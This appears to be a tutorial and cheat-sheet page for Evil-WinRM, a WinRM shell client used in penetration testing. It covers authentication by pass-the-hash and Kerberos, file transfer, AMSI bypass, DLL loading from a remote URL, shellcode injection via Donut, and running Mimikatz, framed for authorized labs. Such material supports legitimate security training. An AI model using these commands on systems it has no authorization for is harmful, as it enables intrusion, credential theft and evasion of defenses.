Post Exploitation
Learn how to use Evil-WinRM, a Ruby-based client for the Windows Remote Management (WinRM) protocol. This guide covers installation, your first connection, password, pass-the-hash and Kerberos authentication, file transfers and script execution, all for use in authorized lab environments.
sudo gem install evil-winrm
evil-winrm -i <target_ip> -u <user> -p <password>
Evil-WinRM is a Ruby-based client for the Windows Remote Management (WinRM) protocol. It gives you an interactive PowerShell-like shell on a remote Windows system, so you can run commands, transfer files and load scripts during penetration testing or system administration in authorized lab environments.
Learning how to use Evil-WinRM follows a simple loop: confirm WinRM is enabled on your lab target, install Evil-WinRM on Kali Linux, connect with a password, hash or Kerberos ticket, verify the session with whoami, then transfer files and load scripts to extend what the shell can do.
Here is a first connection to a lab target at 10.10.10.10. Run evil-winrm -i 10.10.10.10 -u Administrator and leave off -p so the tool prompts for the password instead of putting it in your shell history. A successful login drops you at the *Evil-WinRM* PS C:\Users\Administrator> prompt. Type whoami and you will see the account you logged in as, for example winserver-dc\administrator; type hostname and it prints the target machine name. Those two answers confirm the session is live and tell you exactly which host and account you are working as.
Evil-WinRM offers four ways to authenticate, and the right one depends on what you recovered. A password is the simplest start. Pass-the-hash with -H logs in with an NTLM hash when you do not have the plaintext password — pass only the NT hash portion. Kerberos with -r for the realm (and -K for a ticket file) fits Active Directory labs where you already hold a ticket. Client certificates with -c and -k plus -S cover hosts that require certificate authentication.
WinRM listens on TCP 5985 for HTTP and 5986 for HTTPS. Evil-WinRM connects to 5985 by default; add -S -P 5986 for an encrypted session on the HTTPS listener, and use -P for any custom port or -U /wsman when the target uses a non-default endpoint path. Connecting with -S to a plaintext 5985 listener is the most common beginner mistake — the flag and the port must match.
File transfer and scripting are where Evil-WinRM earns its keep. Inside the shell, upload and download move files in both directions with a progress bar, so you can drop tools onto the target and pull loot back without leaving the session. Point -s at a local scripts directory to load .ps1 files you can call by name, and -e at an exes directory to run local binaries in memory with Invoke-Binary; menu lists everything loaded, including Dll-Loader, Donut-Loader and Bypass-4MSI.
WinRM must be enabled on the target before any of this works — on the Windows host, run Enable-PSRemoting in an administrative PowerShell session and make sure ports 5985 and 5986 are reachable from Kali. Evil-WinRM is a single-session tool with no multi-session support, and every example here assumes a lab target you own or have explicit written permission to test.
If you would rather not install Ruby gems, Evil-WinRM also ships as a Docker image (oscarakaelvis/evil-winrm) that mounts your scripts and exes directories as volumes, and a Python reimplementation called evil-winrm-py (pip install evil-winrm-py, also in Kali 2025.4) offers the same flags with loadps, runps, loaddll and runexe menu commands. Both are handy when the Ruby gem is unavailable, but the commands in this guide use the original Ruby tool.
| Command | Purpose |
|---|---|
evil-winrm -i <target> -u <user> | Connect and prompt for the password interactively. |
evil-winrm -i <target> -u <user> -H <ntlm-hash> | Authenticate with an NTLM hash instead of a password. |
evil-winrm -i <target> -u <user> -S -P 5986 | Connect over encrypted WinRM on the HTTPS port. |
evil-winrm -i <target> -u <user> -s <scripts-dir> | Load local PowerShell scripts into the session. |
upload <local-file> <remote-path> | Upload a file to the remote host from inside the shell. |
download <remote-file> <local-path> | Download a file from the remote host to the local machine. |
evil-winrm -i 10.10.10.10 -u <USER> -p <PASS>Connect to a Windows host over WinRM with a username and passwordevil-winrm -i 10.10.10.10 -u <USER> -H <NTLM_HASH>Authenticate using a pass-the-hash NTLM hash instead of a passwordevil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -SConnect using HTTPS/SSL WinRM (port 5986)evil-winrm -i 10.10.10.10 -u <USER> -p <PASS> --port 5986 -SSpecify a custom port and enable SSLevil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -s /path/to/scriptsSet a local scripts directory to load PowerShell scripts fromevil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -e /path/to/exesSet a local executables directory for the Invoke-Binary featureevil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -r example.comUse Kerberos authentication with the given realmevil-winrm -i 10.10.10.10 -u <USER> -p <PASS> --spn HTTPSet the SPN prefix for Kerberos authenticationevil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -c /path/to/cert.pem -k /path/to/key.pemAuthenticate with an SSL client certificate and private keyevil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -lEnable logging of the session to a fileevil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -nDisable colored outputevil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -NDisable remote path completionupload /path/to/file C:\Windows\Temp\fileMenu command: upload a local file to the remote hostdownload C:\Users\Administrator\Desktop\flag.txt /path/to/fileMenu command: download a remote file to the local machineservicesMenu command: list Windows services and their vulnerable permissionsmenuShow the Evil-WinRM extra command menu after loading a scriptInvoke-Binary /path/to/exeMenu command: execute a local PE/EXE in memory on the targetBypass-4MSIMenu command: patch AMSI in the current session to evade detectionDll-Loader -http http://10.10.10.10/lib.dllMenu command: load a DLL into memory from a path or URLDonut-Loader -process_id 1234 -donutfile /path/to/donut.binMenu command: inject shellcode into a process via Donutevil-winrm -i 10.10.10.10 -u <USER> -p <PASS> --logLong-form logging flag to record the sessionevil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -P 5985Explicitly set the WinRM portInvoke-MimikatzRun the Mimikatz PowerShell script after loading it from the scripts directoryevil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -VPrint the Evil-WinRM versionevil-winrm -hDisplay the help menu with all available optionsevil-winrm -i 10.10.10.10 -u <USER> -K /path/to/ticket.ccacheAuthenticate with a Kerberos ticket file instead of a passwordevil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -U /wsmanConnect to a custom WinRM endpoint pathevil-winrm -i 10.10.10.10 -u <USER> -p <PASS> -a 'Custom-Agent'Set a custom user-agent for the WinRM connectionGet interactive PowerShell on Windows targets.
Pivot between Windows hosts via WinRM.
Upload/download files to/from target.
Load custom PowerShell scripts dynamically.
Move between Windows hosts in an Active Directory lab once WinRM is reachable and credentials or hashes are in hand.
Manage lab Windows hosts from the command line where graphical access is unavailable but WinRM is open.
Post Exploitation
CrackMapExec (CME) is a post-exploitation tool for pentesting Windows and Active Directory networks. It can enumerate users, spray passwords, execute commands, and move laterally.
Post Exploitation
Impacket is a versatile collection of Python classes for working with network protocols. It features low-level programmatic access to packets alongside specific full-featured scripts for interacting with Windows domains.
Post Exploitation
Learn how to use Weevely 4.0.0 from installation to cleanup: generate an obfuscated PHP agent, place it on an explicitly authorized web server, connect through the Python client, establish a shell, run built-in enumeration and file modules, troubleshoot restrictions, and remove the agent safely.
Post Exploitation
WinPEAS is a script designed to discover local privilege escalation paths on Windows environments. It audits configurations, user security rights, system vulnerabilities, and active processes.
Post Exploitation
NetExec (formerly CrackMapExec successor) is a post-exploitation tool for enumerating and attacking Active Directory environments. It automates SMB, WinRM, LDAP, and SSH attacks across large networks with support for Kerberos, NTLM, and pass-the-hash authentication.
Post Exploitation
Empire is an open-source post-exploitation and command-and-control (C2) framework originally created by @harmj0y and now maintained by BC-Security. It uses PowerShell and Python-based agents to model adversarial persistent access behaviors for authorized security testing, red team engagements, and defensive detection engineering. Empire provides encrypted communications, modular capabilities, and a flexible agent system for extended operations against Windows and Linux environments.
A comprehensive guide to lateral movement techniques in Windows networks including pass-the-hash, pass-the-ticket, PSExec, WMI, DCOM, and WinRM for authorized penetration testing.
Active Directory · AdvancedAn in-depth look at pass-the-hash attacks against NTLM authentication, how they work, real-world exploitation scenarios, detection techniques, and defense strategies.
Active Directory · AdvancedA comprehensive introduction to Microsoft Active Directory covering domain services, LDAP, Group Policy, authentication protocols, and security fundamentals for Windows enterprise environments.
Active Directory · AdvancedLearn how to use BloodHound and SharpHound for Active Directory reconnaissance, attack path analysis, privilege escalation detection, and security assessment.
A successful Evil-WinRM connection prints its version banner and a connection line, then drops you at the distinctive prompt: Evil-WinRM shell v4.1, Info: Establishing connection to remote endpoint, then *Evil-WinRM* PS C:\Users\Administrator>. The *Evil-WinRM* prefix tells you that you are inside the Evil-WinRM shell rather than a local terminal, and PS C:\Users\Administrator> shows the remote PowerShell working directory and the account you logged in as. Running whoami at that prompt prints the account, for example winserver-dc\administrator, and hostname prints the target machine name such as WINSERVER-DC — together they confirm the session is live and identify the host. Native PowerShell cmdlets work too: Get-Service | Select-Object Name, Status lists the target services in a table, so you can read service state without leaving the shell. The built-in services command is different: typed on its own, it lists Windows services together with what the current account is allowed to do to each one, which is how you spot service misconfigurations for privilege escalation. File transfers narrate themselves: upload /home/kali/shell.exe C:\temp\shell.exe prints the source and destination and draws a progress bar that climbs to 100%, so you always know whether the transfer finished before you run the file.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.